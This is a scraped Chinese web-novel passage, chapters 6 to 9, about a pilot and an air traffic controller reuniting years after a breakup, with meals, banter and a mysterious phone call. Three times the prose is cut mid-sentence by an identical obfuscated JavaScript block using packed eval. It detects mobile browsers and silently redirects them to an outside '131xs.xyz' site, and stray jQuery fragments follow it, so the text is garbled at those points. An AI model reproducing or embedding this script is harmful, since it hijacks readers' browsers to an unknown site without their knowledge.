林序川皱着眉,有些委屈地看他,声细如蚊道:“我胃疼……” 宋觉骁目光微凝,突然笑了一声,收敛起满身的侵略感,直起身子揉了揉他的头发,“紧张什么,我还能吃了你?” 林序川一手捂着肚子,他本来就胃疼,这会一紧张,胃里更难受了,抿着唇没说话,脸上表情也委屈巴巴的。 就他刚刚那副样子,何止想吃了他,看是恨不得把他生吞活剥了! 对上他惨兮兮的目光,宋觉骁终究还是心软叹了口气,俯身抱住他,双手在他背上轻拍着,声音轻柔地哄着,“好,我错了,我不该吓你。还很疼吗?” 林序川低头埋在他怀里,瓮声瓮气地控诉,“疼!都怪你……胃疼,腰疼,腿疼,哪哪都疼!” “……”宋觉骁属实是没忍住笑出了声,那无奈又宠溺的轻笑声落在他耳边,林序川下意识缩了缩脖子,感觉耳蜗痒痒的。 但抱着他的人并不安分,一手顺着他的脊背往下摸到他后腰的位置,林序川身子一抖反手按住他,都顾不上别的心思了,抬头一脸警惕地看着他,“你干什么? ” “你不是哪哪都疼嘛,我给你揉揉?”宋觉骁笑盈盈地凑近他,眼神意有所指地故意问了句,“屁股疼不疼?” 林序川那张脸上原本消散了些许的红瞬间又升腾了起来,说话都结巴了,“你你你——!” “我怎么了?你要是不舒服,我帮你看看?”宋觉骁说着就要伸手,好一副冠冕堂皇又理直气壮的模样。 “你滚啊!谁要你看了!”林序川吓得从位置上跳起来,连连后退,“你别过来啊,你离我远点!” “真不用啊?”宋觉骁看着他,若有所思着自言自语,“昨晚我帮你检查了,应该是没受伤啊。”随后又不放心地问他,“你要不舒服,不然我带你去医院看看?” “你!”林序川指着他,瞪圆了眼睛,不敢置信他能堂而皇之地说出这种话,咬着牙拒绝,“不要!不去!我好得很!” “那你不是说哪哪都疼吗?” “你闭嘴!!!” “那行叭……”宋觉骁一脸遗憾地一摊手,“可惜了。” 林序川:“!!!” 可惜个鬼啊! 狗东西,没安好心! 变态!禽兽!老色批! 呸呸呸呸呸! …… 今晚林序川是晚班,虽然是八点上班,但是上班前他们还有个安全会跟岗前会,六点左右他就要准备出门了。 闹了一通,林序川看他都是一副谨慎的模样,宋觉骁也没多留,只是临走的时候不太放心,叮嘱他一会喝水记得要喝热水,半夜要是饿了记得吃东西,值夜困了也不许喝咖啡和浓茶,会伤胃云云。 林序川被他念得头疼,甚是不耐烦地把他赶了出去。 而至于宋觉骁,上午被苏御安信息轰炸完,晚上那货又电话轰炸喊他出去喝酒。 左右无事又是停飞状态,加上因为林序川的事,搞得他确实心情不佳,正缺个垃圾桶吐槽。 酒吧小包间里都是苏御安的狐朋狗友们,宋觉骁陪着玩了一会就坐到沙发角落躲清静去了。 苏御安闹了会过来陪他,坐在他旁边那眼神不禁上下打量,“肉都给你吃上了,这表情怎么还欲求不满的?” “要不你跟我说说,让本情感大师给你分析分析?”苏御安用胳膊撞了撞他,满脸的八卦,“你俩昨晚什么情况?十二年不见,久别重逢,干柴烈火?” 宋觉骁白了他一眼,没吭声。 离婚律师,也敢自称情感大师? 见他那明显嫌弃的眼神,苏御安也不在意,一副懒散的样子歪靠在沙发上,“你少用这种眼神质疑我,你就说,当年是不是我帮你出谋划策追上的人?人不能忘本!你可以质疑我,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411393|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能质疑我的业务能力!” 宋觉骁端着酒杯,斜睨了他一眼,那表情明显是想吐槽他但又忍住了,苏御安不满地催促,满眼八卦,“看我干嘛?快说!” 宋觉骁叹了口气,举着酒杯一饮而尽,才徐徐开口,“他有事瞒着我,我问他当年为什么分手他也不肯说,嘴里没一句正经的。” 从小林序川那个性子就别扭,他不喜欢面对的事就左右糊弄得过且过。这么多年过去了,脾气还是一样,想起他今天早上应付他的那些话,宋觉骁气得不行,可他又拿林序川没办法。 有的时候,真觉得自己挺贱的。 早些年刚分手那会,苏御安也问过他,是非他不可吗?那会他回答不上来,当时只是觉得气和恨,年轻气盛的狠话也没少放。 头两年确实患得患失自怨自艾也没想过要找他,他身边也不乏有人献殷勤,可他对谁都提不起兴趣,满脑子只有林序川这个没良心的。 也是到那会他才知道,苏御安那个问题的答案,其实并不是那会的他回答不上来,而是那会年轻气盛的他心高气傲,不想承认自己被甩了,不想承认他那一腔真心错付了。 可是怎么办呢,就算如此,他也还是喜欢他,满心满眼只有他,就算他弃他而去,他也还是非他不可! 宋觉骁想着,又重新倒了一杯酒,猛灌了一大口,在心里狠狠又骂了两遍林序川。 骗子!渣男! 想起林序川往常那些不着调的言论,苏御安十分认同地点头,“他那张嘴确实是——不过,要不是有事瞒着你,他当年也不会跟你分手还一走了之了。” 是啊,如果不是有事瞒着他,林序川又怎么会故意挑着他不在家的日子离开? 因为他很清楚,如果他当时在家,他是绝对走不了了的。 思及此,宋觉骁还是苦笑着“嗯”了一声。 苏御安连“啧”了好几声,摇着头看他,“我怎么有你这么个恋爱脑的兄弟啊?你说你回来这么一趟,是想为十二年前莫名其妙被分手的自己讨回一个公道狠狠报复他,还是为了和他重归于好?” 宋觉骁皱着眉没说话。 报复他?他舍不得。 重归于好……林序川不愿意。 这么想着,宋觉骁低垂着眉眼,沉沉叹了口气。 难啊!太难了!前路全是坎坷! 见他这副愁眉苦脸的样子,苏御安倒是乐了,双手环胸好整以暇地看着他,“回来之前我问你,你那会不是笃定他还爱你嘛,怎么睡了一觉反倒没自信了?” 宋觉骁看了他一眼,张了张嘴,又沉默了。 其实他一点也不笃定,他只是不愿想另一种结果,所以干脆哄着自己相信林序川还爱他。 当年好像是他们分手后的第五年,宋觉骁回来过一次,那会一直想找林序川,但是怎么都找不到。没想到仅那回国的几天,刚巧就收到了一个快递,是林序川寄给他的,一个大箱子,里面全部都是他们认识那十八年,他送给林序川的东西,是关于他们的所有的回忆。 他都寄了回来,一样不留。 在收到那一大箱子快递的时候,宋觉骁深受打击,真的有那么一刻,觉得林序川是真的不爱他了。 他嘴上骂林序川,可其实他自己也是个胆小鬼,特别是在收到那一箱子快递以后。他怕找到他的时候,他会当面跟他说分手的话,会决绝地离开他,说他从来没有爱过他。 可昨晚……恍惚混乱间,他好像听见林序川喊着他的名字呢喃了一句“对不起”。 他很想问他在对不起什么?是真的不爱他了吗?当年到底因为什么非要分手不可?又为什么要在十二年后跟他说“对不起”? 想问的太多了,可他最终一句都没敢问出口。 “万万没想到啊,以前看他那一副乖乖巧巧的模样,结果是这么个骗心骗身又骗财骗色的渣男负心汉,啧啧啧,果然是人不可貌相呐!” 宋觉骁白了他一眼,没说话。 苏御安一副幸灾乐祸的模样又继续:“你也是,天涯何处无芳草嘛,何必非要吊死在他那一棵歪脖子树上?不行你换别的树吊吊?” “……”宋觉骁抬腿就是一脚踹了过去,“滚。” 真是闲的听他扯。 他们认识十多年了,宋觉骁向来做什么都是一副胸有成竹的模样,唯独只有在林序川身上栽了无数的跟头,是典型的不记吃也不记打。 苏御安就爱看他吃瘪的样子,凑近了嘲笑着问:“你当年不是说死都不会找他嘛,再遇到就先绑起来打一顿……床上打一顿啊?” 宋觉骁:“…………” 当年年轻气盛要面子,好像是说过这话? 苏御安声音不小,虽然包间里乱哄哄的,但还是有离得近的人听见了,哄笑道:“得,我看你这一脚挨得是一点不冤!” “还得是你啊苏大律师,下了班还搁这儿冲业绩呢?” “你这一嘴的风凉话……这要换了我,给你一脚都是轻的!” “滚滚滚!”苏御安对着最近的一个一脚踹了过去,“一边玩儿去,你们懂个屁!” “不懂不懂!” “我们哪有你懂啊,大专家?” 一群人哄笑着,宋觉骁却是低着头,一副若有所思的样子。 7. 熬鹰和防贼 【明早几点到家?】 【我给你做早饭。】 晚上轮班休息的时候,林序川拿到手机就看到宋觉骁给他发的信息。 看时间,刚发不久。 他就拿着手机坐在那,皱眉琢磨着这人到底什么意思。 昨晚的事和十二年前的事,今早是被他蒙混过去了。但按照宋觉骁的性子,林序川本以为他会不依不饶,可是后来好像他也没再提起过。 这倒是搞得他一时摸不准宋觉骁到底是个什么想法了,总有些提心吊胆的感觉。 这会又发信息说明早给他做早饭? 字里行间仿佛又回到了十二年前一样,宋觉骁还是那个总会无微不至照顾他的邻家哥哥。 可是,现在终归是不一样了。 林序川犹豫再三,还是觉得得拒绝他——他无法解释十二年前的事,也给不了他想要的。 【不用了,单位食堂有早饭,我吃完了再回家。】 这话倒也是实话。 只是林序川没想到,如今的宋觉骁,不要脸程度简直令人发指! 他给他回了一句:【哦,那你给我带一份。】 林序川:“???” 不是吧大哥,你没搞错吧?! 宋觉骁下一句是:【我明早在你家门口等你。】 林序川:“!!!” 不是……他有病吧?! 另一边酒吧里的宋觉骁,从发完第一条信息开始就一直盯着手机,苏御安凑上去看,还被他一巴掌推远了。 苏御安斜睨着他,“一脸的不怀好意……干嘛呢?” 宋觉骁没等到林序川的回信,但他也不急,倒是能想象到手机那头某人抓狂的样子,心情莫名就好了两分,收了手机悠哉道:“钓鱼。” 苏御安:“啊?” 宋觉骁一挑眉,起身长腿一跨就要走,身后苏御安扬声喊他,“诶,这就走了?” “回家做饭!”宋觉骁抬手一扬,头也没回,语气倒是格外轻快。 “这都快十一点了你做什么饭?晚上没吃饭我请你啊?卧槽!狗东西你真走了啊?” 宋觉骁已经推门而出了,理都没理他。 - 翌日清早。 昨晚宋觉骁那个信息发完,后来不管林序川再给他发什么他都再也没回过,愁得林序川早上下班去食堂蹭早饭的时候多啃了一根油条。 这狗东西怎么想一出是一出的! 他嘀嘀咕咕地出电梯门,就看见了端着砂锅倚在他家门口的宋觉骁,抬头看见林序川的那瞬间,仿佛眼里还闪过了两分委屈可怜。 林序川:“?” 上夜班上得眼睛出问题了? 这祖宗还真来啊! “你不是八点下班嘛,现在都九点多了!” 听听这语气!像极了苦等丈夫一夜未归的怨妇,就差问一句,“你上哪鬼混去了?” 林序川对上他那质疑的眼神,下意识解释:“我不是说了我去单位食堂吃嘛……” 谁想到你真来啊! 来就来了,也不知道给他发个信息,就在外面干等,也不知道他等了多久了……这人什么时候这么傻的? 宋觉骁低垂着眉眼侧身让他开门,手里端着砂锅,一副任劳任怨的小媳妇模样:“昨晚后来忘了回你消息了,我想着你们单位不知道早上吃的什么,你胃不好,就给你熬了锅粥,是你爱吃的皮蛋粥,加了点小米,养胃的。” 林序川开门的手一顿,拧着眉头扭头看他——哥你是真的忘了回,还是压根不想回? 我怎么这么不信呢! 宋觉骁抬起头,一脸真诚地叮嘱道:“你要是吃过了的话,就放冰箱里中午起来再吃。你昨天还犯胃病,中午一定要起来吃东西。实在困的话,就吃完了再睡。” 装的还挺像。 林序川开了门,回头对上宋觉骁那双明亮真诚热切又委屈的眼睛,拒绝的话到了嘴边,愣是转了个弯,“你不是让我给你带早饭嘛……你、吃了吗?” 该死! 又心软了! “还没……”宋觉骁目光落在了林序川手上拎着的早餐上,再抬眼时成了满眼欣喜,“你给我带了?” “我——”虽然嘴上不说,但他早上在食堂吃完临走的时候还是鬼使神差地打包了一份,想着他要是没来,他就等中午睡醒起来当午饭吃。 “谢谢!”宋觉骁没等他说完,直接拎过他手里的早餐就进了屋。 “……”虽然确实是给他打包的。 但你到底也太不客气了! 林序川叹气,只能认命地跟进去。 宋觉骁已经非常熟门熟路地在他家客厅餐桌前坐下,还不忘问林序川,“你还吃嘛?不吃的话粥我帮你放冰箱?” “不吃了。”林序川上了一晚上夜班困得很,他现在就想赶紧去洗个澡,然后躺床上睡觉。但眼见宋觉骁端着小砂锅进了厨房,出来以后拎着他的早饭直接往餐桌前一坐就吃上了。 林序川皱眉看着他,“你要在我这吃?你不回去吗?” 宋觉骁叼着根油条,抬头看他的眼神有些茫然和疑问,“嗯?” 林序川又道:“我要去睡觉了。” 你可以走了! “去呗。”宋觉骁点了点头,那表情像是在思索他的话,然后一脸恍然,“干嘛,还要我陪你啊?” 林序川:“???” 大兄弟,大清早的你在说什么! 宋觉骁一挑眉,“也行,你等我吃完。” “谁要你陪了!”林序川莫名其妙就想起了那被折腾报复的一晚上,后腰隐隐作痛,宋觉骁还一副“不要我陪,那你跟我说什么你要睡觉了的话干嘛”的表情看着他。 林序川咬牙,这人摆明了就是故意的,他这会困得很,没那个精力跟他掰扯,干脆翻了个白眼回了卧室,“你吃完赶紧走。” “哦……”宋觉骁拎着调子应声,看着他进卧室再关门,才幽幽接了最后两个字,“……个屁!” 脚又没长在他身上,哪能他让走就走啊。 …… 认识这么多年,印象里,以前的宋觉骁痞气多一些,坏坏的,总喜欢逗他,但绝对不厚脸皮!特别他们暧昧期那会,简直纯情少男,看着不正经,其实骨子里比谁都正经,调戏两句就脸红。 再看看现在——林序川洗了个澡出来,宋觉骁还在他家。 他已经在沙发上坐了半个小时了,就看着宋觉骁在那又是洗碗又是擦桌子的,顺带帮他把地也扫了,差点就要去拿拖把拖地了,林序川终于是没忍住,“你不回家吗?” 饭也吃完了,还赖着不走? “一会就回。”宋觉骁头都没抬一下,认认真真勤勤恳恳地拿着抹布擦桌子,嘴上还不忘催他,“你快去睡吧,我帮你收拾收拾。” 林序川:“…………” 那桌子都擦了第三遍了! 你到底是在擦桌子还是在抛光啊! 无事献殷勤,非奸即盗! 林序川捂着嘴又打了个哈欠,这人心怀不轨在他家,他怎么睡得着啊! 这么一个大好的五一,“你不上班的嘛?” 他昨晚上指挥都没怎么得空,宋觉骁一个飞行员,这五一小长假不应该忙得脚不沾地嘛?这一大早就往他家跑什么啊! 宋觉骁擦完第三遍桌子,抬起头理直气壮且理所当然道:“我停飞了。” 林序川:“…………” 草!夜班上糊涂了! 林序川看着家里那张亮到反光的桌面和那一尘不染的地面——但你这意图有点过于明显了哥! 他值了一晚上的夜班,这会又坐着看宋觉骁演了半小时勤快的戏码,困得很,哈欠连天实在是熬不住了,“懒得管你,我去睡了,走的时候把门带上。” “你快去吧。” 不知道是不是困出的错觉,感觉他这句话应得,颇有些“如释重负”的味道。林序川回头不太放心地看了他一眼,又觉得是自己想多了。 他有个屁的“重负”,脸皮厚重倒是真的! 等人终于进了屋,宋觉骁一甩手里的抹布,直起腰锤了锤——他再不走,差点演不下去,一会该没什么擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411394|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 宋觉骁在客厅又徘徊了半小时,估摸着林序川应该睡着了,轻手轻脚地起身,正打算——就是说,人就不能做贼,容易心虚! 他才刚迈出脚,手机铃声响了。 安静的空间里,那突兀的铃声害得他脚下一慌绊在了茶几桌角上,踉跄了两步,“哐”的一声动静还挺大。 宋觉骁条件反射地去看卧室的方向,房门依然紧闭,只是他自己做贼心虚。 骂骂咧咧地掏手机出来,结果发现是苏御安,宋觉骁简直在心里骂了他八百遍。 电话刚挂,转眼接连不断的信息就来了。 【狗贼!】 【干什么呢,挂我电话!】 【你在不在家?】 【中午出来请我吃饭啊,我在你家附近。】 宋觉骁咬牙切齿地打字:【没空!很忙!不约!再见!】 【你不是停飞了嘛,这一大早的,你忙什么?】 【需不需要帮忙?】 宋觉骁:【别来!】 【嗯?拒绝我?】 【你不对劲!】 【你不会大早上又去找你的小宝贝儿了吧?】 宋觉骁:“……” 好烦,想拉黑他。 【宋狗!】 【说话!】 【行!你不说,我告诉你妈去!】 【就说你前天晚上出去嫖了!】 【一!晚!上!】 宋觉骁闭了闭眼,手机都快捏碎了。 【正在嫖!】 【滚!】 发完他就把手机开了静音,想了想又觉得不行,干脆直接把手机丢在了沙发上。 反正他现在是停飞期间,没人会找他。 处理好一切意外事故发生的可能,宋觉骁轻手轻脚偷偷摸摸地溜进了林序川的卧室。 吃完早饭磨蹭那半小时就是为了等林序川去睡觉,睡着了他才好偷溜上床啊,不然这家伙醒着的情况下,他怕是连他卧室门都进不去! 果不其然,人都熬困了,哪还顾得上锁不锁门的事,他可太了解他了! 宋觉骁轻轻松松就溜了进去,屋子里拉着窗帘,遮光性还挺好,但到底是清早的太阳更胜一筹,也没到伸手不见五指的地步。凭着前两天的记忆,宋觉骁还是十分顺利地摸到了床的位置。 就是可惜,刚摸到床,林序川就醒了,半梦半醒的声音黏黏糊糊的,“做贼呢?” 虽然他很困,虽然他现在脑子不太清醒,但此时此刻他甚至不睁眼都能知道,那偷偷摸摸溜进他屋里的人,除了宋觉骁,就不会有第二个人! 宋觉骁身子一僵,干脆也不装了,直接动作迅速地脱衣服钻被窝,长臂一揽就把人搂进了怀里,甚至没给他反应的机会,“别说话,睡觉!” 林序川:“……” 我的无语震耳欲聋! 被他抱得太紧有些难受,林序川下意识动了动身子,结果反倒被人搂得更紧了,最后只能无奈叹气。眼睛都还闭着,嘴上也不忘损他,“我发现你这人是越来越不要脸了,爬床这种事都干?刚刚也是故意赖着不走是吧,把我当鹰熬呢?就等着把我熬困了,你好做贼?” “这怎么能赖我,我都说了让你去睡觉,你自己不睡,防我呢?”宋觉骁一手搂在他腰上,丝毫不在意当事人的指控,反倒是低头在他耳边甚是理所当然地问:“你我都上了,爬个床怎么了?” “……”所以说您不要脸呢! 宋觉骁在他腰上拍了一下,言语威胁,“你睡不睡?再不睡觉……睡点别的?” “明明是你把我吵醒的!”林序川打着哈欠控诉,抬手推了推他,不管摸几遍,这胸肌手感是真好。下意识摸了一把,他才开口又道:“你别挨着我,热!” “好好好。”看着他下意识的小动作,宋觉骁憋着笑握住他的手,退了点距离,但还是没松开他,嘴上顺毛哄着,“你快睡吧,一会中午我喊你起来吃饭。” 林序川不说话了,人眼看是赶不走的,他又困得很,也甭管到底熬鹰还是防贼了,天大的事儿都得等他睡醒了再说。 8. 胃病和养胃 一盘荷兰豆山药炒木耳,一盘甘蓝炒鸡蛋,一共就两个菜,还有一锅早上宋觉骁端来的皮蛋小米粥。 林序川生生是被饭菜味香醒的,出来的时候,宋觉骁正在盛粥,“起来了?我还想去喊你呢。” 桌上全素,但屋子里这味道闻着倒像是荤腥。 有点像玉米排骨的味道! “厨房还有碗汤,早上粥没煮多少,怕你吃不饱,给你煮了饭。”见他跟小狗似的在那闻,宋觉骁笑了笑,“你先坐下吧,我去端。” 林序川抿唇,乖乖坐着等。 宋觉骁端出来一碗山药玉米排骨汤——就是这个味道! 林序川眼巴巴盯着,他就是被这个味道香醒的! 这几个菜他以前胃不好的时候老吃,宋觉骁那会跟他说这些都是养胃的。怕他吃腻,还总变着花样的做别的菜给他吃。 素归素,可他还挺喜欢吃的。 同样的菜,现在再看见,莫名还有点惆怅。 “晚点我得去趟公司,”宋觉骁给他盛了一碗汤递到他跟前,嘴上熟稔地关照着:“厨房冰箱里给你留了点菜和汤,晚上你自己热一热。” 这话说的……跟那什么似的。 明明他们都已经分手那么久了。 林序川捧着碗抬头看他,迎上宋觉骁略带疑问的眼神,他也只能点了点头,问了句,“去公司做什么?” “复检,明天复飞。” “明天就复飞了?” 虽说早上嫌弃宋觉骁不上班的人是他,但这一号出的事,算上今天,一共也就停飞了两天,明天才四号,这就复飞了? “本来也没什么事,五一那么忙,不会停很久的。” 他那天是机械故障导致的事故,只要查清不是他们机组的操作问题,自然就能复飞。 “也是。”林序川捧着碗默默喝汤。 忙,忙点好啊!忙点就不会成天想着往他这跑了! “对了,你的胃病是怎么回事?” 林序川正腹诽着呢,听见宋觉骁问他,做贼心虚地呛了一口,“咳咳——” 果然,背地里不能说人坏话! “又没人跟你抢,慢点喝。”宋觉骁给他抽了张纸,又起身去倒了杯温水,“我就问一句,你反应这么大做什么?” “我——咳咳!” “喝点水。” 宋觉骁站到了他身边,一手在他背上轻拍着,“吃个饭怎么还毛毛躁躁的。” 林序川:“…………” 我心虚!都怪我做贼心虚行了吧! 好不容易顺了气,林序川咳得脸都红了。宋觉骁坐了回去,语气没什么波澜地又问了一遍,“没记错的话,你上高中那会我给你养好了吧?” 林序川:“…………” 得,这下更心虚了! 见他一脸尴尬地不说话,宋觉骁盯着他,不咸不淡地哼了个单音,“嗯?” 林序川低着头没敢看他,“就……大学的时候太忙了。” 这话也算半真半假吧,以前那点胃病应该确实是被宋觉骁给养好了,但是自从他俩分手以后,没人再跟他似的成天一到饭点就催着他吃东西,甚至离谱到了每天要定点跟打卡似的程度。 胃病这东西确实是靠养的,可他一个人没那个耐心和毅力,加上那会身心俱疲的情况下,有时候连吃饭都是敷衍了事,更别说什么养胃的事了。 宋觉骁意味深长地看着他,握着筷子的手紧了紧,给林序川碗里夹了两块山药,语气听着挺随意道:“以后你轮休的时候如果没什么事,我来给你做饭。” “嗯?”林序川嘴里还叼着块排骨,一听这话,眼睛都瞪大了。 管制中心上二休二,听他这意思,隔三差五他就得来? 别吧哥……你很闲嘛? “我现在主飞国内,不排晚班的话,晚上吃饭前都能到家。” 不是,谁问你飞哪了?你晚饭前到不到家跟我说什么! “我吃食堂就好了。”林序川皱着眉看他,没敢直接拒绝——十二年过去了,他还是屈于某人的淫威之下啊! 可耻!太可耻了! 宋觉骁却直接视而不见,“你们管制中心不是上二休二嘛,休息的两天你也去蹭食堂?” “……”也不是不行,或者他还可以去蹭师兄的。 但对上宋觉骁那不容置疑的眼神,林序川愣是没敢说。 啧,愁人! 一顿饭吃的,林序川闷闷不乐,宋觉骁倒是挺怡然自得,吃完还主动帮他洗碗去了。 林序川坐在客厅餐桌边,看着厨房里那个忙忙碌碌的身影,突然想起了他上学那会的事。 他得胃病那会还小,没记错的话,应该是小学的时候吧。 小时候家里人都很忙,他爸凌衡那时候还是个干建筑的小老板,每天早出晚归,时常还有各种应酬和出不完的差。 他妈妈林牧茵是干银行的,客户经理跑业务,也很忙。而且,她是个非常强势的女强人,不论是工作还是生活方面。 总之,小的时候林序川就经常一个人,特别是等他上了初中以后,上下学是一个人,晚上回到家还是一个人,吃饭一个人,睡觉也是一个人,一百多平的房子里总是空空荡荡的。 所以,他不喜欢大房子。 后来,一个人过久了倒是也习惯了。还小一些的时候怕他进厨房会受伤,妈妈在小区门口的餐馆给他留了钱,家里没人的时候他可以去那吃一顿,老板也认识他,不行还能赊账。再大一些他也能自己弄点吃的,有时候偷懒,就随便应付一顿,吃的不怎么好罢了,倒是不愁饿着。 他得胃病的最主要原因,是因为压力。 其实林序川从小学习成绩就不错,虽然说不上什么年级第一,但好歹也算名列前茅,已经能算是“别人家的孩子”那个层面的了。但林牧茵对此仍不满足,她觉得儿子还可以再努努力,还能再上进些,别人家的孩子可以得第一,为什么他不可以? 于是,他总有各种上不完的补习班,做不完的课外题。 一直到初三那年,宋觉骁有一天去找他,发现他整个人脸色煞白的蜷缩在沙发上,全身都在冒冷汗。 那是他胃病最严重的一次,医生诊断的结果是——压力过大。 压力大导致的胃口缺失,厌食。又没有人盯着他到底吃没吃,吃了多少。他没胃口吃不下就不吃了,久而久之,这胃病就养成了。 林牧茵知道的时候很心疼,到底是亲生的儿子,抱着他哭了很久,那天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411395|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连林序川那出差在外地的父亲凌衡都回来了。 凌衡怪林牧茵给了他太多压力,林牧茵又指责凌衡总不着家,压根没管过他的学习,根本没资格指责她。 林序川始终记得那天,宋觉骁的爸妈做着和事佬,宋觉骁陪着他在卧室里,他躺在床上虚弱无力,而一门之隔的屋外客厅里,爸妈因为他的胃病吵得不可开交。 可是后来,他们该忙的还是继续早出晚归,该出差的还是继续不着家。 一切好像都没什么变化,他依然是一个人。 唯一不一样的,是宋觉骁。 初三那年暑假的某一天,宋觉骁拿着两个鸡蛋和一个西红柿,一大早就跑到他家去敲门,满脸喜色地跟他说:“凌凌!你不是爱吃西红柿炒鸡蛋嘛,我跟我妈学了!你是不是还没吃饭?我先给你煮碗面吃吧?” 那是宋觉骁第一次给他做吃的——西红柿鸡蛋面。 后来,那年的暑假,他几乎天天往他家跑,每天一到饭点就盯着他吃饭。他家没人的时候,宋觉骁就来换着花样地给他做饭吃,或者拉着他去宋家蹭饭。 他花了一年多,总算是把林序川那个脆弱的胃养得差不多了,然后宋觉骁就去上航校了。 上了航校之后他就不能老是回家了,但盯着林序川吃饭的事他也没落下,每天都会问他,今天吃了什么,吃了多少,有没有不舒服云云。 林序川那会还觉得他烦,可真到后来他们分手以后,再没人管着他的时候,他又可耻地想念极了。 他们分手那会是他高三下学期的那个初春,没几个月就要高考了。 那会爸妈离婚,他跟着林牧茵搬了家转了学,一边要准备高考,一边又耐不住心里对宋觉骁的思念,那一阵的他每天几乎胃药不离身。 后来林牧茵带着他再婚,继父有一个四岁的女儿,他也自此多了一个妹妹。继父对他也还算好,妹妹也很喜欢缠着他。那会的林序川刚上大学,继父知道他有胃病,对他的饮食方面可谓照顾。 但前两年还说着跟他相依为命的母亲,自从再婚后对他的关注好像就变少了,时常的关心也变了味,更多的是他有没有按着她想的方式在生活。 临近毕业前,实习工作让他每天压力都很大,他在那个家里越住越压抑,后来就干脆搬出去自己租房子住了。 再看现在,宋觉骁在厨房里帮他洗碗,他们刚刚吃的饭菜也都是他做的。 一时间仿佛又回到了十二年前,一切都还没变的时候,他们没有在一起,也没有分手,宋觉骁还是那个会无微不至关心他的邻家哥哥。 是久违的,温馨的感觉。 宋觉骁擦着手回头,就看见林序川托着下巴趴在桌子上盯着他发呆,也不知道是在想什么,眼神里流露出了几分怅然。 他刚想开口,林序川的手机就响了。 宋觉骁就眼见着他在看到手机上来电显示的那一瞬间,眼神里的惆怅变成了惊惶无措,他甚至有些手忙脚乱地站起身,凳脚摩擦地面发出刺耳的声响。 林序川攥着手机,着急忙慌地往里屋跑,“我、我去接个电话。” 宋觉骁皱着眉站在厨房门口,看着那个急匆匆的背影,和随后紧闭的卧室门。 谁的电话,让他如此反常? 9. 最重要的人 这一通电话,林序川接了半个多小时。 宋觉骁一直没走,就坐在外面客厅的沙发上等他。林序川进屋的时候,他听到了锁门的声音。 是谁的电话能让他这么一幅如临大敌的模样,甚至还要躲到卧室里锁上房门防着他。 他到底,瞒着他什么? 宋觉骁坐在沙发上,百思不得其解,那眉头越皱越紧,脸色也沉的难看。 他们从小一起长大,他知道林序川的性子,他不想说的事情,他是决计撬不出来的。可他看得出来,林序川不抵触他,那些拒绝对呛不过是他的虚张声势,他甚至觉得当年林序川非要跟他分手,也并不是如他担心的那样是因为不爱他了。 林序川死死隐瞒的那件事,大概就是当年他们分手的最主要原因。 他要弄清楚那件事是什么,首先,他得先留在他身边。 就在宋觉骁琢磨着怎么进行下一步的时候,林序川出来了。 他抬眼望去,就见林序川一脸落寞的神情,在对上他视线的瞬间,还有片刻的恍惚和躲闪,随后一副欲盖弥彰的模样冲着他笑道:“你还没走呢?” 宋觉骁站起身,拧着眉看着他,没说话。 林序川手里攥着手机,目光躲闪着站在卧室门口,有些许踌躇,“那个……我想再睡会,你要是没事,就先回去吧,一会不是还要去公司嘛。” “嗯。”宋觉骁应了一声,迈步朝他走了过去。林序川恍惚着退了一步,却被宋觉骁伸手一把拽住了手腕,他的声音很轻,却温柔至极,“凌凌……” 林序川猛然抬起头,满眼的震惊,在对上宋觉骁那温柔目光的瞬间,又觉得鼻尖一阵酸涩。他倏然低头,视线落到宋觉骁握着他的手上,他攥紧了拳头想挣开,却又舍不得。 好久……好久没有人这么叫他了。 他以前的名字叫凌淮声,亲近的长辈都喜欢喊他“声声”或者“小淮”,同学朋友叫的就多了,什么“声哥”“淮总”乱七八糟的一大堆叫法,可只有宋觉骁会特立独行地叫他“凌凌”。 以前的他只觉得宋觉骁把他叫娇气了,听着怪怪的,哪哪都不对劲。 可如今——他从来没觉得这两个字,竟然这么动听! “你——”林序川强忍着情绪,闭了闭眼,沉沉呼了口气,才语气沉重地开口,“你先回去吧。” “凌凌,你——” “回去吧,求你!” 宋觉骁还想说什么,却被林序川厉声打断,他甚至说了“求”这个字!宋觉骁提了一口气憋在心口,对上林序川那带着祈求的目光,最终还是率先败下阵来,伸手把他抱进怀里,妥协似地叹息。 他的手摸着他柔软的头发,声音轻柔地叮嘱,“睡的时候定个闹钟,晚上一定要起来吃东西。一会我也不知道什么时候回来,不出意外的话,明天应该是早班,来不及给你准备早饭了。你胃不好,别偷懒,三餐要正点吃。” 林序川一言不发地窝在他怀里,听着他在自己耳边絮絮叨叨的叮嘱。 一切都仿佛回到了十二年前,可他心里知道,这不是。 此时此刻的他们,回不去的。 